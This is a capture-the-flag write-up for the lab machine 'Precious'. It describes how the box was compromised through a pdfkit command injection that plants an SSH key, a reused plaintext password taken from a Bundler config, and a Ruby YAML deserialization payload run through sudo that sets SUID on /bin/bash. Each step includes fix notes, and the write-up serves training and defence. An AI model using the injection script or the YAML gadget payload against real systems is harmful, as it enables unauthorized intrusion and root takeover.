Precious
Summary
I reached a publicly exposed URL-to-PDF web application, identified an outdated and vulnerable Ruby pdfkit library (CVE-2022-25765), and injected shell commands through an unsanitised URL parameter to plant an SSH key and gain remote access. Post-login file-system exploration uncovered the password for a second account stored in plaintext inside a Bundler configuration file; that password was reused as the Linux login credential.
The second account held a passwordless sudo rule permitting execution of a Ruby maintenance script, which called the unsafe YAML.load function on a user-writable file. A crafted YAML deserialization payload caused the script to set the SUID bit on /bin/bash, granting a fully interactive root shell and completing the compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -p- -oA precious $TARGETcurl -si http://$TARGET/ -H 'Host: precious.htb'Exact commands 2
searchsploit pdfkitcurl -s -X POST -d 'url=http://127.0.0.1/' -H 'Host: precious.htb' http://$TARGET/ -o /tmp/probe.pdf && exiftool /tmp/probe.pdf | grep -i 'producer\|creator\|pdfkit'FixUpgrade pdfkit and enforce strict URL validationCritical
<command>, causing the server to append my own SSH public key to the web-app user's authorized_keys file. A subsequent SSH login over port 22 delivered an interactive shell as that low-privilege account.mkdir -p ~/.ssh; echo '<pubkey>' >> ~/.ssh/authorized_keys; SSH login succeeded as ruby@$TARGETExact commands 3
ssh-keygen -t ed25519 -f /tmp/precious_key -N ''python3 - <<'PY'
import requests
pub = open('/tmp/precious_key.pub').read().strip()
cmd = f"mkdir -p ~/.ssh; echo '{pub}' >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys"
payload = 'http://%20`' + cmd + '`'
r = requests.post("http://$TARGET/", headers={'Host': 'precious.htb'}, data={'url': payload}, timeout=15)
print(r.status_code, r.text[:80])
PYssh -i /tmp/precious_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null ruby@$TARGETExact commands 2
find / -name config -path '*/.bundle/*' 2>/dev/nullcat ~/.bundle/configFixRemove plaintext credentials from Bundler config and enforce no password reuseHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null henry@$TARGET 'id; cat /home/henry/user.txt; sudo -l'Exact commands 3
sudo -lcat > /home/henry/dependencies.yml << 'EOF'
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &2 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &3 !ruby/object:Net::WriteAdapter
socket: &4 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/proc "proc { |a,b| `chmod u+s /bin/bash` }"
method_id: :call
method_id: :resolve
EOFsudo /usr/bin/ruby /opt/update_dependencies.rbFixReplace YAML.load with YAML.safe_load in all scripts that process external inputCritical
Exact commands 2
/bin/bash -pid && cat /root/root.txtFixRemove or strictly constrain sudo rules that grant root access to script interpretersHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.